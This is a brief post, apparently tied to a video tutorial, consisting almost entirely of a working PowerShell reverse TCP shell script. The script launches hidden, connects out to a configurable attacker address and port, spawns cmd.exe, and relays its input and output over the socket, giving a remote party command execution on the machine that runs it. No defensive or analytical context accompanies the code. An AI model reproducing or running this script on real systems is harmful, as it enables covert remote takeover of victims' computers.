Reverse TCP Powershell https://www.youtube.com/watch?v=CIdueghuvtk #shell #reversetcp #powershell

Reverse_TCP_PowerShell.ps1

powershell -NoP -sta -NonI -W Hidden  
function RSC{
  if ($c.Connected -eq $true) {
    $c.Close()
  };
  if ($p.ExitCode -ne $null) {
    $p.Close()
  };
  exit;
};
$a='192.168.0.109'; #CHANGE THIS
$p='4444'; #CHANGE THIS
$c=New-Object system.net.sockets.tcpclient;
$c.connect($a,$p);
$s=$c.GetStream();
$nb=New-Object System.Byte[] $c.ReceiveBufferSize;
$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';
$p.StartInfo.RedirectStandardInput=1;
$p.StartInfo.RedirectStandardOutput=1;
$p.StartInfo.UseShellExecute=0;
$p.Start();$is=$p.StandardInput;
$os=$p.StandardOutput;
Start-Sleep 1;
$e=new-object System.Text.AsciiEncoding;
while($os.Peek() -ne -1){
  $o += $e.GetString($os.Read())
};
$s.Write($e.GetBytes($o),0,$o.Length);
$o=$null;
$d=$false;
$t=0;
while (-not $d) {
  if ($c.Connected -ne $true) {RSC};
  $pos=0;
  $i=1; 
  while (($i -gt 0) -and ($pos -lt $nb.Length)) {
    $r=$s.Read($nb,$pos,$nb.Length - $pos);
    $pos+=$r;
    if (-not $pos -or $pos -eq 0) {RSC};
    if ($nb[0..$($pos-1)] -contains 10) {break}};
    if ($pos -gt 0){
      $str=$e.GetString($nb,0,$pos);
      $is.write($str);
      start-sleep 1;
      if ($p.ExitCode -ne $null){RSC}
      else{
        $o=$e.GetString($os.Read());
        while($os.Peek() -ne -1){
          $o += $e.GetString($os.Read());
          if ($o -eq $str) {$o=''}};
          $s.Write($e.GetBytes($o),0,$o.length);
          $o=$null;$str=$null
      }
    }
    else{RSC}
};